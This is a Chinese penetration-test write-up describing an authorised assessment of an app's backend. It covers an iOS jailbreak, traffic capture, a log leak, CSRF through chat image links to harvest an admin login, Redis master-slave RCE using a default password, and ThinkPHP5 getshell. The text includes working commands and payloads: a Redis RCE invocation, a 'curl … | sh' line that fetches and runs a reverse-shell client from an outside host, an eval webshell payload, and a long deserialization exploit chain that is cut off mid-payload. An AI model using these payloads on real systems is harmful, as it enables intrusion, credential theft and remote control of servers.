从一个app开始的渗透测试之路-安全KER

前言：

本文作者接到某授权渗透测试任务，需要以某app做为入口，对app后端服务器的安全性进行测试。

阶段一：IOS 越狱

在得到相应授权并下载指定的 app 后，我们发现该 app 的签名存在问题，因为我使用的测试机无法安装上面的 app ，此处我使用的测试机环境为 iphone6 ios 12.4.4 ，该版本的操作系统无法通过常用的漏洞越狱，并且在利用 itunes 给 ios downgrade 时也遇到了很奇怪的问题。综合考量之后，我们利用iboot 的洞来进行 jailbreak ，用到的工具是 checkrain ，目前 checkrain 已经集成到了爱思助手中，使用较为方便。

在使用 checkrain jailbreak 时，需要将 iphone 切换到 DFU 模式。DFU 模式和普通 recovery 模式不同，刚开始的时候，在这里踩了很多坑，具体的切换方式可以 google 得到，这里不再详细展开。

checkrain 的运行结果如下。

刷新连接后，我们可以看到 iphone 已经完成了越狱：

checkrain 执行成功后会在 ios 系统上安装一个名为 checkrain 的 app，这个 app 是 cydia 的 loader，我们可以通过其下载 cydia 。通过 cydia 我们可以扩展 iphone 的安装源，也可以安装各类软件。cydia的服务器位于国外，国内安装时速度奇慢，需要等待一段时间。

在 cydia 中，导入一个名为 cydia.akemi.ai 的源（日本宅男搞出来的东西：P），同步后，安装名为AppSync 的插件，这个插件可以帮我们在 iphone 上安装任意的 app 。

最终，成功安装 app 。

阶段二： IOS 抓包

接下来使用 ios 系统自带的网络代理设置，并将流量重定向到我们在同一个局域网中开放的 burpsuite中。如下图所示：

启动 app 后抓到如下的报文：

http://test.example.com/show_url

{

“info”: 0,

“url”: “http://test2.example.com,

“bt”: “test”,

}

该app对应的后端网站为 http://test2.example.com，经过简单的探测，发现网站的后端使用的是 thinkphp5框架，但遗憾的是，该网站已经修复了 thinkphp5 rce 的漏洞。

阶段三：后台日志信息泄露与CSRF

通过对该 app 发送的数据包进行审计，发现了后台的域名：http://admin.example.com。通过对路径完成爆破以后，发现后台登录地址：http://admin.example.com/houtai/login。

分析后发现，该站采用的是 thinkphp 3.2.3 的系统。我们可以轻松地下载到日志，日志位于:

http://admin.example.com/Application/Runtime/Logs/houtai/20_02_01.log

但是该日志存在如下问题：

日志的存储有限，大概只能存1.5M的日志，没有完整日志
后台的ajax一直在刷新，存在大量垃圾数据，没有登录的记录

因此，我们需要想办法让管理员再登录一次后台。在 app 中，我们发现了客服聊天的模块，在这个模块中，我们可以向客服发送图片消息，客服在查看聊天时会自动加载图片。而该图片消息会以链接的形式提交到服务器上。如下所示。

POST /index/chat HTTP/1.1

Content-Type: application/json

Content-Length: 314

Accept-Encoding: gzip, deflate

{“content”:”http:\/\/test2.example.com\/1.png”,”type”:”code”,”token”:”aaaa”}

在此处，将 content 的图片替换为我们的链接，即可在后台客服访问时触发 CSRF 漏洞。根据经验，通过猜测得到后台的登录地址：

admin.example.com/houtai/login/logout.html

只要将该链接发给服务器，客服访问后就能触发登录操作。客服再次登录时，我们即可在日志中发现其登录凭证。最终如下所示：

SQL: SELECT * FROM admin WHERE username=’admin’ AND password=’xxxxxxxxxxxxxxx’

解开该md5值，即可登录后台。

阶段四：后台源码模板与redis

登录后台后，一番探索，并没有发现明显的漏洞点可以 getshell ，于是转而探索后台使用的模板。发现后台是基于某后台模板开发的。虽然代码上有很大的不同，但是两者都使用了 redis 缓存，而且源码中的 redis 密码并没有修改，并且 redis 的 6379 端口开在了外网，通过该 redis 密码，我们成功登录了服务器的 redis 服务。

Redis-cli -h admin.example.com

> auth admin@example.com

> keys *

Hello world!

进一步，通过主从复制漏洞，我们获得了交互的 shell ，权限为 root 权限。

python3 redis-rce.py -r admin.example.com -L 8.8.8.8 -f ../redis-rogue-server/exp.so -a admin@example.com

不过这样的shell限制很大，接下来我们使用了 tsh 反弹真实 shell ，过程是将 tshd 下载至服务器上并执行。

这里的一个坑点是目标服务器上的 linux 版本很低， libc 版本为 2.20 。在我们自己服务器上编译的 tshd 无法执行。在 libc2.20 ，linux 内核版本 2.62 的 docker 里编译后上传执行即可。

阶段五: 自动化getshell

在 docker 中编译的 tshd 的端口是指定的，不利于自动 getshell ，于是这里我们修改了 tsh ，使其可以指定 tsh 的监听端口和 tshd 的回连端口。接着在不同内核版本和 libc 版本的 linux 下编译，这样可以在目标服务器上通过一条命令下载对应版本的 tshd ，并成功反连。

此处带上特定的端口数据访问 index.php 后，index.php 会在本地编译 tshd 并返回安装 tshd 的脚本。

Command端

curl 8.8.8.8/index.php –data “port=8888” | sh

Controller端

root@my: ~/autotsh# cd linux2.6.32_libc2.1.2/

root@my: ~/autotsh/linux2.6.32_libc2.1.2/# ./tsh cb 8888

Waiting for the server to connect. . . Connected.

[root@example.com /]# ls -al

Total 1024

在确定反连的思路后，为了更加的方便，我们使用了 tmux 。

这样对于每一台服务器，我们都可以单独开一个 tmux 窗口并监听端口，等待 shell 反连。之后我们再 attach 到 tmux 的窗口，即可得到服务器 shell 。

root@my: ~# tmux ls

0: 6 windows (created Fri Feb 7 11:11:11 2020) [204 x 51]

example.com: 1 window (created Fri Feb 11:11:11 2020) [204 x 51]

补充: thinkphp5 + disable functions + php7 getshell

在渗透过程中，我们还发现其中有一台服务器使用了 thinkphp5 的环境，且存在漏洞。在进行漏洞利用时，发现开启了 disable functions ，这也意味着原先 system 的攻击载荷无法使用，除此之外，由于 PHP 版本为 PHP7 ，这昭示着我们无法使用 dynamic assert 来 getshell 。在此我们使用了如下两种方案进行 getshell ，在此我们使用了如下两种方案进行getshell：

1. session操纵+文件包含

该方法的思路来源于以下链接：https://xz.aliyun.com/t/6106

thinkphp5 中存在一个名为 think\Session::set 的方法，通过该方法，我们可以任意参考 session 中存储的内容。此外，thinkphp5 还存在名为 think__include_file ，通过该方法，我们可以实现任意文件包含的效果。结合这两个函数，我们可以获取到系统 shell ，我们的攻击载荷如下：

session 操纵攻击载荷：

_method=__construct&method=get&filter[]=think\Session::set&get[]=<?php eval($_POST[‘x’])?>

文件包含攻击载荷：

_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_test&x=phpinfo();

我们可以成功执行phpinfo。

2.thinkphp5 反序列化

除了上述的方法外，我们还可以利用 thinkphp5 的反序列化的利用链来实现 rce 。该 thinkphp5 的利用链构造可以参考如下链接：

https://www.anquanke.com/post/id/196364

经过一段时间的调试，构造反序列化链的载荷如下所示：

<?php$i=newthink\cache\driver\File();$reflectionClass_6=newReflectionClass('think\cache\driver\File');$reflectionProperty_6=$reflectionClass_6->getProperty('tag');$reflectionProperty_6->setAccessible(true);$reflectionProperty_6->setValue($i,'admin');$reflectionClass_6_2=newReflectionClass('think\cache\driver\File');$reflectionProperty_6_2=$reflectionClass_6->getProperty('options');$reflectionProperty_6_2->setAccessible(true);$reflectionProperty_6_2->setValue($i,array('path'=>'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>','cache_subdir'=>'','expire'=>0,'prefix'=>'','data_compress'=>false));$h=newthink\session\driver\Memcached();$reflectionClass_5=newReflectionClass('think\session\driver\Memcached');$reflectionProperty_5=$reflectionClass_5->getProperty('handler');$reflectionProperty_5->setAccessible(true);$reflectionProperty_5->setValue($h,$i);$g=newthink\console\Output();$reflectionClass_4=newReflectionClass('think\console\Output');$reflectionProperty_4=$reflectionClass_4->getProperty('styles');$reflectionProperty_4->setAccessible(true);$reflectionProperty_4->setValue($g,['getAttr']);$reflectionProperty_4_2=$reflectionClass_4->getProperty('handle');$reflectionProperty_4_2->setAccessible(true);$reflectionProperty_4_2->setValue($g,$h);$f=newthink\Model\Pivot();$d=newthink\model\relation\HasOne($f,$f,3,4,5);$reflectionClass_3=newReflectionClass('think\model\relation\HasOne');$reflectionProperty_3=$reflectionClass_3->getProperty('bindAttr');$reflectionProperty_3->setAccessible(true);$reflectionProperty_3->setValue($d,array('a'=>'b'));$reflectionProperty_3_2=$reflectionClass_3->getProperty('model');$reflectionProperty_3_2->setAccessible(true);$reflectionProperty_3_2->setValue($d,'think\console\Output');$c=newthink\Model\Pivot();$reflectionClass_2=newReflectionClass('think\Model\Pivot');$reflectionProperty_2=$reflectionClass_2->getProperty('append');$reflectionProperty_2->setAccessible(true);$reflectionProperty_2->setValue($c,array('a'=>'getError'));$reflectionProperty_2_2=$reflectionClass_2->getProperty('error');$reflectionProperty_2_2->setAccessible(true);$reflectionProperty_2_2->setValue($c,$d);$reflectionProperty_2_3=$reflectionClass_2->getProperty('parent');$reflectionProperty_2_3->setAccessible(true);$reflectionProperty_2_3->setValue($c,$g);$a=newthink\Process\Pipes\Windows(1,0);$reflectionClass=newReflectionClass('think\Process\Pipes\Windows');$reflectionProperty=$reflectionClass->getProperty('files');$reflectionProperty->setAccessible(true);$reflectionProperty->setValue($a,[$c]);var_dump($a);?>

最终构造的反序列化攻击载荷如下：

POST /index.php?s=index/index HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 17527
Cookie: PHPSESSID=test
_method=__construct&method=get&filter[]=unserialize&get[]=%4f%3a%32%37%3a%22%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%22%3a%38%3a%7b%73%3a%33%34%3a%22%00%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%00%66%69%6c%65%73%22%3b%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%31%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%50%69%76%6f%74%22%3a%33%35%3a%7b%73%3a%36%3a%22%70%61%72%65%6e%74%22%3b%4f%3a%32%30%3a%22%74%68%69%6e%6b%5c%63%6f%6e%73%6f%6c%65%5c%4f%75%74%70%75%74%22%3a%33%3a%7b%73%3a%33%31%3a%22%00%74%68%69%6e%6b%5c%63%6f%6e%73%6f%6c%65%5c%4f%75%74%70%75%74%00%76%65%72%62%6f%73%69%74%79%22%3b%69%3a%31%3b%73%3a%32%38%3a%22%00%74%68%69%6e%6b%5c%63%6f%6e%73%6f%6c%65%5c%4f%75%74%70%75%74%00%68%61%6e%64%6c%65%22%3b%4f%3a%33%30%3a%22%74%68%69%6e%6b%5c%73%65%73%73%69%6f%6e%5c%64%72%69%76%65%72%5c%4d%65%6d%63%61%63%68%65%64%22%3a%32%3a%7b%73%3a%31%30%3a%22%00%2a%00%68%61%6e%64%6c%65%72%22%3b%4f%3a%32%33%3a%22%74%68%69%6e%6b%5c%63%61%63%68%65%5c%64%72%69%76%65%72%5c%46%69%6c%65%22%3a%33%3a%7b%73%3a%31%30%3a%22%00%2a%00%6f%70%74%69%6f%6e%73%22%3b%61%3a%35%3a%7b%73%3a%34%3a%22%70%61%74%68%22%3b%73%3a%36%39%3a%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%73%74%72%69%6e%67%2e%72%6f%74%31%33%2f%72%65%73%6f%75%72%63%65%3d%2e%2f%3c%3f%63%75%63%20%72%69%6e%79%28%24%5f%43%42%46%47%5b%32%32%32%5d%29%3b%3f%3e%22%3b%73%3a%31%32%3a%22%63%61%63%68%65%5f%73%75%62%64%69%72%22%3b%73%3a%30%3a%22%22%3b%73%3a%36%3a%22%65%78%70%69%72%65%22%3b%69%3a%30%3b%73%3a%36%3a%22%70%72%65%66%69%78%22%3b%73%3a%30%3a%22%22%3b%73%3a%31%33%3a%22%64%61%74%61%5f%63%6f%6d%70%72%65%73%73%22%3b%62%3a%30%3b%7d%73%3a%31%30%3a%22%00%2a%00%68%61%6e%64%6c%65%72%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%74%61%67%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%7d%73%3a%39%3a%22%00%2a%00%63%6f%6e%66%69%67%22%3b%61%3a%37%3a%7b%73%3a%34%3a%22%68%6f%73%74%22%3b%73%3a%39%3a%22%31%32%37%2e%30%2e%30%2e%31%22%3b%73%3a%34%3a%22%70%6f%72%74%22%3b%69%3a%31%31%32%31%31%3b%73%3a%36%3a%22%65%78%70%69%72%65%22%3b%69%3a%33%36%30%30%3b%73%3a%37%3a%22%74%69%6d%65%6f%75%74%22%3b%69%3a%30%3b%73%3a%31%32%3a%22%73%65%73%73%69%6f%6e%5f%6e%61%6d%65%22%3b%73%3a%30%3a%22%22%3b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%30%3a%22%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%30%3a%22%22%3b%7d%7d%73%3a%39%3a%22%00%2a%00%73%74%79%6c%65%73%22%3b%61%3a%31%3a%7b%69%3a%30%3b%73%3a%37%3a%22%67%65%74%41%74%74%72%22%3b%7d%7d%73%3a%32%31%3a%22%00%2a%00%61%75%74%6f%57%72%69%74%65%54%69%6d%65%73%74%61%6d%70%22%3b%62%3a%30%3b%73%3a%31%33%3a%22%00%2a%00%63%6f%6e%6e%65%63%74%69%6f%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%38%3a%22%00%2a%00%71%75%65%72%79%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%6e%61%6d%65%22%3b%73%3a%35%3a%22%50%69%76%6f%74%22%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%63%6c%61%73%73%22%3b%73%3a%31%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%50%69%76%6f%74%22%3b%73%3a%38%3a%22%00%2a%00%65%72%72%6f%72%22%3b%4f%3a%32%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%72%65%6c%61%74%69%6f%6e%5c%48%61%73%4f%6e%65%22%3a%31%30%3a%7b%73%3a%31%34%3a%22%00%2a%00%65%61%67%65%72%6c%79%54%79%70%65%22%3b%69%3a%31%3b%73%3a%31%31%3a%22%00%2a%00%6a%6f%69%6e%54%79%70%65%22%3b%69%3a%35%3b%73%3a%31%31%3a%22%00%2a%00%62%69%6e%64%41%74%74%72%22%3b%61%3a%31%3a%7b%73%3a%31%3a%22%61%22%3b%73%3a%31%3a%22%62%22%3b%7d%73%3a%31%31%3a%22%00%2a%00%72%65%6c%61%74%69%6f%6e%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%70%61%72%65%6e%74%22%3b%4f%3a%31%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%50%69%76%6f%74%22%3a%33%35%3a%7b%73%3a%36%3a%22%70%61%72%65%6e%74%22%3b%4e%3b%73%3a%32%31%3a%22%00%2a%00%61%75%74%6f%57%72%69%74%65%54%69%6d%65%73%74%61%6d%70%22%3b%62%3a%30%3b%73%3a%31%33%3a%22%00%2a%00%63%6f%6e%6e%65%63%74%69%6f%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%38%3a%22%00%2a%00%71%75%65%72%79%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%6e%61%6d%65%22%3b%73%3a%35%3a%22%50%69%76%6f%74%22%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%63%6c%61%73%73%22%3b%73%3a%31%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%50%69%76%6f%74%22%3b%73%3a%38%3a%22%00%2a%00%65%72%72%6f%72%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%76%61%6c%69%64%61%74%65%22%3b%4e%3b%73%3a%35%3a%22%00%2a%00%70%6b%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%66%69%65%6c%64%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%65%78%63%65%70%74%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%64%69%73%75%73%65%22%3b%61%3a%30%3a%7b%7d%73%3a%31%31%3a%22%00%2a%00%72%65%61%64%6f%6e%6c%79%22%3b%61%3a%30%3a%7b%7d%73%3a%31%30%3a%22%00%2a%00%76%69%73%69%62%6c%65%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%68%69%64%64%65%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%61%70%70%65%6e%64%22%3b%61%3a%30%3a%7b%7d%73%3a%37%3a%22%00%2a%00%64%61%74%61%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%6f%72%69%67%69%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%31%31%3a%22%00%2a%00%72%65%6c%61%74%69%6f%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%37%3a%22%00%2a%00%61%75%74%6f%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%69%6e%73%65%72%74%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%75%70%64%61%74%65%22%3b%61%3a%30%3a%7b%7d%73%3a%31%33%3a%22%00%2a%00%63%72%65%61%74%65%54%69%6d%65%22%3b%73%3a%31%31%3a%22%63%72%65%61%74%65%5f%74%69%6d%65%22%3b%73%3a%31%33%3a%22%00%2a%00%75%70%64%61%74%65%54%69%6d%65%22%3b%73%3a%31%31%3a%22%75%70%64%61%74%65%5f%74%69%6d%65%22%3b%73%3a%31%33%3a%22%00%2a%00%64%61%74%65%46%6f%72%6d%61%74%22%3b%73%3a%31%31%3a%22%59%2d%6d%2d%64%20%48%3a%69%3a%73%22%3b%73%3a%37%3a%22%00%2a%00%74%79%70%65%22%3b%61%3a%30%3a%7b%7d%73%3a%31%31%3a%22%00%2a%00%69%73%55%70%64%61%74%65%22%3b%62%3a%30%3b%73%3a%38%3a%22%00%2a%00%66%6f%72%63%65%22%3b%62%3a%30%3b%73%3a%31%34%3a%22%00%2a%00%75%70%64%61%74%65%57%68%65%72%65%22%3b%4e%3b%73%3a%31%36%3a%22%00%2a%00%66%61%69%6c%45%78%63%65%70%74%69%6f%6e%22%3b%62%3a%30%3b%73%3a%31%37%3a%22%00%2a%00%75%73%65%47%6c%6f%62%61%6c%53%63%6f%70%65%22%3b%62%3a%31%3b%73%3a%31%36%3a%22%00%2a%00%62%61%74%63%68%56%61%6c%69%64%61%74%65%22%3b%62%3a%30%3b%73%3a%31%36%3a%22%00%2a%00%72%65%73%75%6c%74%53%65%74%54%79%70%65%22%3b%73%3a%35%3a%22%61%72%72%61%79%22%3b%73%3a%31%36%3a%22%00%2a%00%72%65%6c%61%74%69%6f%6e%57%72%69%74%65%22%3b%4e%3b%7d%73%3a%38%3a%22%00%2a%00%6d%6f%64%65%6c%22%3b%73%3a%32%30%3a%22%74%68%69%6e%6b%5c%63%6f%6e%73%6f%6c%65%5c%4f%75%74%70%75%74%22%3b%73%3a%38%3a%22%00%2a%00%71%75%65%72%79%22%3b%4f%3a%31%34%3a%22%74%68%69%6e%6b%5c%64%62%5c%51%75%65%72%79%22%3a%39%3a%7b%73%3a%31%33%3a%22%00%2a%00%63%6f%6e%6e%65%63%74%69%6f%6e%22%3b%4f%3a%32%34%3a%22%74%68%69%6e%6b%5c%64%62%5c%63%6f%6e%6e%65%63%74%6f%72%5c%4d%79%73%71%6c%22%3a%31%35%3a%7b%73%3a%31%30%3a%22%00%2a%00%62%75%69%6c%64%65%72%22%3b%73%3a%32%33%3a%22%5c%74%68%69%6e%6b%5c%64%62%5c%62%75%69%6c%64%65%72%5c%4d%79%73%71%6c%22%3b%73%3a%31%35%3a%22%00%2a%00%50%44%4f%53%74%61%74%65%6d%65%6e%74%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%71%75%65%72%79%53%74%72%22%3b%73%3a%30%3a%22%22%3b%73%3a%31%30%3a%22%00%2a%00%6e%75%6d%52%6f%77%73%22%3b%69%3a%30%3b%73%3a%31%33%3a%22%00%2a%00%74%72%61%6e%73%54%69%6d%65%73%22%3b%69%3a%30%3b%73%3a%38%3a%22%00%2a%00%65%72%72%6f%72%22%3b%73%3a%30%3a%22%22%3b%73%3a%38%3a%22%00%2a%00%6c%69%6e%6b%73%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%6c%69%6e%6b%49%44%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%6c%69%6e%6b%52%65%61%64%22%3b%4e%3b%73%3a%31%32%3a%22%00%2a%00%6c%69%6e%6b%57%72%69%74%65%22%3b%4e%3b%73%3a%31%32%3a%22%00%2a%00%66%65%74%63%68%54%79%70%65%22%3b%69%3a%32%3b%73%3a%31%31%3a%22%00%2a%00%61%74%74%72%43%61%73%65%22%3b%69%3a%32%3b%73%3a%39%3a%22%00%2a%00%63%6f%6e%66%69%67%22%3b%61%3a%32%34%3a%7b%73%3a%34%3a%22%74%79%70%65%22%3b%73%3a%35%3a%22%6d%79%73%71%6c%22%3b%73%3a%38%3a%22%68%6f%73%74%6e%61%6d%65%22%3b%73%3a%39%3a%22%31%32%37%2e%30%2e%30%2e%31%22%3b%73%3a%38%3a%22%64%61%74%61%62%61%73%65%22%3b%73%3a%30%3a%22%22%3b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%34%3a%22%72%6f%6f%74%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%30%3a%22%22%3b%73%3a%38%3a%22%68%6f%73%74%70%6f%72%74%22%3b%73%3a%30%3a%22%22%3b%73%3a%33%3a%22%64%73%6e%22%3b%73%3a%30%3a%22%22%3b%73%3a%36%3a%22%70%61%72%61%6d%73%22%3b%61%3a%30%3a%7b%7d%73%3a%37%3a%22%63%68%61%72%73%65%74%22%3b%73%3a%34%3a%22%75%74%66%38%22%3b%73%3a%36%3a%22%70%72%65%66%69%78%22%3b%73%3a%30%3a%22%22%3b%73%3a%35%3a%22%64%65%62%75%67%22%3b%62%3a%31%3b%73%3a%36%3a%22%64%65%70%6c%6f%79%22%3b%69%3a%30%3b%73%3a%31%31%3a%22%72%77%5f%73%65%70%61%72%61%74%65%22%3b%62%3a%30%3b%73%3a%31%30%3a%22%6d%61%73%74%65%72%5f%6e%75%6d%22%3b%69%3a%31%3b%73%3a%38%3a%22%73%6c%61%76%65%5f%6e%6f%22%3b%73%3a%30%3a%22%22%3b%73%3a%31%33%3a%22%66%69%65%6c%64%73%5f%73%74%72%69%63%74%22%3b%62%3a%31%3b%73%3a%31%31%3a%22%72%65%73%75%6c%74%5f%74%79%70%65%22%3b%69%3a%32%3b%73%3a%31%34%3a%22%72%65%73%75%6c%74%73%65%74%5f%74%79%70%65%22%3b%73%3a%35%3a%22%61%72%72%61%79%22%3b%73%3a%31%34%3a%22%61%75%74%6f%5f%74%69%6d%65%73%74%61%6d%70%22%3b%62%3a%30%3b%73%3a%31%35%3a%22%64%61%74%65%74%69%6d%65%5f%66%6f%72%6d%61%74%22%3b%73%3a%31%31%3a%22%59%2d%6d%2d%64%20%48%3a%69%3a%73%22%3b%73%3a%31%31%3a%22%73%71%6c%5f%65%78%70%6c%61%69%6e%22%3b%62%3a%30%3b%73%3a%37%3a%22%62%75%69%6c%64%65%72%22%3b%73%3a%30%3a%22%22%3b%73%3a%35%3a%22%71%75%65%72%79%22%3b%73%3a%31%35%3a%22%5c%74%68%69%6e%6b%5c%64%62%5c%51%75%65%72%79%22%3b%73%3a%31%35%3a%22%62%72%65%61%6b%5f%72%65%63%6f%6e%6e%65%63%74%22%3b%62%3a%30%3b%7d%73%3a%39%3a%22%00%2a%00%70%61%72%61%6d%73%22%3b%61%3a%35%3a%7b%69%3a%38%3b%69%3a%30%3b%69%3a%33%3b%69%3a%32%3b%69%3a%31%31%3b%69%3a%30%3b%69%3a%31%37%3b%62%3a%30%3b%69%3a%32%30%3b%62%3a%30%3b%7d%73%3a%37%3a%22%00%2a%00%62%69%6e%64%22%3b%61%3a%30%3a%7b%7d%7d%73%3a%31%30%3a%22%00%2a%00%62%75%69%6c%64%65%72%22%3b%4f%3a%32%32%3a%22%74%68%69%6e%6b%5c%64%62%5c%62%75%69%6c%64%65%72%5c%4d%79%73%71%6c%22%3a%38%3a%7b%73%3a%31%35%3a%22%00%2a%00%69%6e%73%65%72%74%41%6c%6c%53%71%6c%22%3b%73%3a%35%35%3a%22%25%49%4e%53%45%52%54%25%20%49%4e%54%4f%20%25%54%41%42%4c%45%25%20%28%25%46%49%45%4c%44%25%29%20%56%41%4c%55%45%53%20%25%44%41%54%41%25%20%25%43%4f%4d%4d%45%4e%54%25%22%3b%73%3a%31%32%3a%22%00%2a%00%75%70%64%61%74%65%53%71%6c%22%3b%73%3a%37%30%3a%22%55%50%44%41%54%45%20%25%54%41%42%4c%45%25%20%25%4a%4f%49%4e%25%20%53%45%54%20%25%53%45%54%25%20%25%57%48%45%52%45%25%20%25%4f%52%44%45%52%25%25%4c%49%4d%49%54%25%20%25%4c%4f%43%4b%25%25%43%4f%4d%4d%45%4e%54%25%22%3b%73%3a%31%33%3a%22%00%2a%00%63%6f%6e%6e%65%63%74%69%6f%6e%22%3b%72%3a%37%36%3b%73%3a%38%3a%22%00%2a%00%71%75%65%72%79%22%3b%72%3a%37%35%3b%73%3a%36%3a%22%00%2a%00%65%78%70%22%3b%61%3a%32%39%3a%7b%73%3a%32%3a%22%65%71%22%3b%73%3a%31%3a%22%3d%22%3b%73%3a%33%3a%22%6e%65%71%22%3b%73%3a%32%3a%22%3c%3e%22%3b%73%3a%32%3a%22%67%74%22%3b%73%3a%31%3a%22%3e%22%3b%73%3a%33%3a%22%65%67%74%22%3b%73%3a%32%3a%22%3e%3d%22%3b%73%3a%32%3a%22%6c%74%22%3b%73%3a%31%3a%22%3c%22%3b%73%3a%33%3a%22%65%6c%74%22%3b%73%3a%32%3a%22%3c%3d%22%3b%73%3a%37%3a%22%6e%6f%74%6c%69%6b%65%22%3b%73%3a%38%3a%22%4e%4f%54%20%4c%49%4b%45%22%3b%73%3a%38%3a%22%6e%6f%74%20%6c%69%6b%65%22%3b%73%3a%38%3a%22%4e%4f%54%20%4c%49%4b%45%22%3b%73%3a%34%3a%22%6c%69%6b%65%22%3b%73%3a%34%3a%22%4c%49%4b%45%22%3b%73%3a%32%3a%22%69%6e%22%3b%73%3a%32%3a%22%49%4e%22%3b%73%3a%33%3a%22%65%78%70%22%3b%73%3a%33%3a%22%45%58%50%22%3b%73%3a%35%3a%22%6e%6f%74%69%6e%22%3b%73%3a%36%3a%22%4e%4f%54%20%49%4e%22%3b%73%3a%36%3a%22%6e%6f%74%20%69%6e%22%3b%73%3a%36%3a%22%4e%4f%54%20%49%4e%22%3b%73%3a%37%3a%22%62%65%74%77%65%65%6e%22%3b%73%3a%37%3a%22%42%45%54%57%45%45%4e%22%3b%73%3a%31%31%3a%22%6e%6f%74%20%62%65%74%77%65%65%6e%22%3b%73%3a%31%31%3a%22%4e%4f%54%20%42%45%54%57%45%45%4e%22%3b%73%3a%31%30%3a%22%6e%6f%74%62%65%74%77%65%65%6e%22%3b%73%3a%31%31%3a%22%4e%4f%54%20%42%45%54%57%45%45%4e%22%3b%73%3a%36%3a%22%65%78%69%73%74%73%22%3b%73%3a%36%3a%22%45%58%49%53%54%53%22%3b%73%3a%39%3a%22%6e%6f%74%65%78%69%73%74%73%22%3b%73%3a%31%30%3a%22%4e%4f%54%20%45%58%49%53%54%53%22%3b%73%3a%31%30%3a%22%6e%6f%74%20%65%78%69%73%74%73%22%3b%73%3a%31%30%3a%22%4e%4f%54%20%45%58%49%53%54%53%22%3b%73%3a%34%3a%22%6e%75%6c%6c%22%3b%73%3a%34%3a%22%4e%55%4c%4c%22%3b%73%3a%37%3a%22%6e%6f%74%6e%75%6c%6c%22%3b%73%3a%38%3a%22%4e%4f%54%20%4e%55%4c%4c%22%3b%73%3a%38%3a%22%6e%6f%74%20%6e%75%6c%6c%22%3b%73%3a%38%3a%22%4e%4f%54%20%4e%55%4c%4c%22%3b%73%3a%36%3a%22%3e%20%74%69%6d%65%22%3b%73%3a%36%3a%22%3e%20%54%49%4d%45%22%3b%73%3a%36%3a%22%3c%20%74%69%6d%65%22%3b%73%3a%36%3a%22%3c%20%54%49%4d%45%22%3b%73%3a%37%3a%22%3e%3d%20%74%69%6d%65%22%3b%73%3a%37%3a%22%3e%3d%20%54%49%4d%45%22%3b%73%3a%37%3a%22%3c%3d%20%74%69%6d%65%22%3b%73%3a%37%3a%22%3c%3d%20%54%49%4d%45%22%3b%73%3a%31%32%3a%22%62%65%74%77%65%65%6e%20%74%69%6d%65%22%3b%73%3a%31%32%3a%22%42%45%54%57%45%45%4e%20%54%49%4d%45%22%3b%73%3a%31%36%3a%22%6e%6f%74%20%62%65%74%77%65%65%6e%20%74%69%6d%65%22%3b%73%3a%31%36%3a%22%4e%4f%54%20%42%45%54%57%45%45%4e%20%54%49%4d%45%22%3b%73%3a%31%35%3a%22%6e%6f%74%62%65%74%77%65%65%6e%20%74%69%6d%65%22%3b%73%3a%31%36%3a%22%4e%4f%54%20%42%45%54%57%45%45%4e%20%54%49%4d%45%22%3b%7d%73%3a%31%32%3a%22%00%2a%00%73%65%6c%65%63%74%53%71%6c%22%3b%73%3a%31%30%38%3a%22%53%45%4c%45%43%54%25%44%49%53%54%49%4e%43%54%25%20%25%46%49%45%4c%44%25%20%46%52%4f%4d%20%25%54%41%42%4c%45%25%25%46%4f%52%43%45%25%25%55%4e%49%4f%4e%25%25%4a%4f%49%4e%25%25%57%48%45%52%45%25%25%47%52%4f%55%50%25%25%48%41%56%49%4e%47%25%25%4f%52%44%45%52%25%25%4c%49%4d%49%54%25%25%4c%4f%43%4b%25%25%43%4f%4d%4d%45%4e%54%25%22%3b%73%3a%31%32%3a%22%00%2a%00%69%6e%73%65%72%74%53%71%6c%22%3b%73%3a%35%37%3a%22%25%49%4e%53%45%52%54%25%20%49%4e%